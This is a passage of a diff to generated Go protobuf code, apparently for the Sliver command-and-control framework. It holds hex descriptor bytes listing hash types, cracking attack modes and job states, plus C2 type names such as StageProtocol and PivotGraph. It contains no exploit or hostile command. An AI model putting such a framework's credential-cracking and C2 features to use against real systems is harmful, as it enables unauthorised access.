0x12, 0x13, + 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, + 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, + 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, + 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, + 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, + 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, + 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, + 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, + 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, + 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, + 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, + 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, + 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, + 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, + 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, + 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, + 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, + 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, + 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, + 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, + 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, + 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, + 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, + 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, + 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, + 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, + 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, + 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, + 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, + 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, + 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, + 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, + 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, + 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, + 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, + 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, + 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, + 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, + 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, + 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, + 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, + 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, + 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, + 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, + 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, + 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, + 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, + 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, + 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, + 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, + 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, + 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, + 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, + 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, + 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, + 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, + 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, + 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, + 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, + 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, + 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, + 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, + 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, + 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, + 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, + 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, + 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, + 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, + 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, + 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, + 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, + 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, + 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, + 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, + 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, + 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, + 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, + 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, + 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, + 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, + 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, + 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, + 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, + 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, + 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, + 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, + 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, + 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, + 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, + 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, + 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, + 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, + 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, + 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, + 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, + 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, + 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, + 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, + 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, + 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, + 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, + 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, + 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, + 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, + 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, + 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, + 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, + 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, + 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, + 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, + 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, + 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, + 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, + 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, + 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, + 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, + 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, + 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, + 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, + 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, + 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, + 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, + 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, + 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, + 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, + 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, + 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, + 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, + 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, + 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, + 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, + 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, + 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, + 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, + 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, + 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, + 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, + 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, + 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, + 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, + 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, + 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, + 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, + 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, + 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, + 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, + 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, + 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, + 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, + 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, + 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, + 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, + 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, + 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, + 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, + 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, + 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, + 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, + 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, + 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, + 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, + 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, + 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -11007,7 +10958,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte { } var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 12) -var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 112) +var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 111) var file_clientpb_client_proto_goTypes = []interface{}{ (OutputFormat)(0), // 0: clientpb.OutputFormat (StageProtocol)(0), // 1: clientpb.StageProtocol @@ -11084,72 +11035,71 @@ var file_clientpb_client_proto_goTypes = []interface{}{ (*PivotGraph)(nil), // 72: clientpb.PivotGraph (*Client)(nil), // 73: clientpb.Client (*Event)(nil), // 74: clientpb.Event - (*Operators)(nil), // 75: clientpb.Operators - (*Operator)(nil), // 76: clientpb.Operator - (*WebContent)(nil), // 77: clientpb.WebContent - (*WebsiteAddContent)(nil), // 78: clientpb.WebsiteAddContent - (*WebsiteRemoveContent)(nil), // 79: 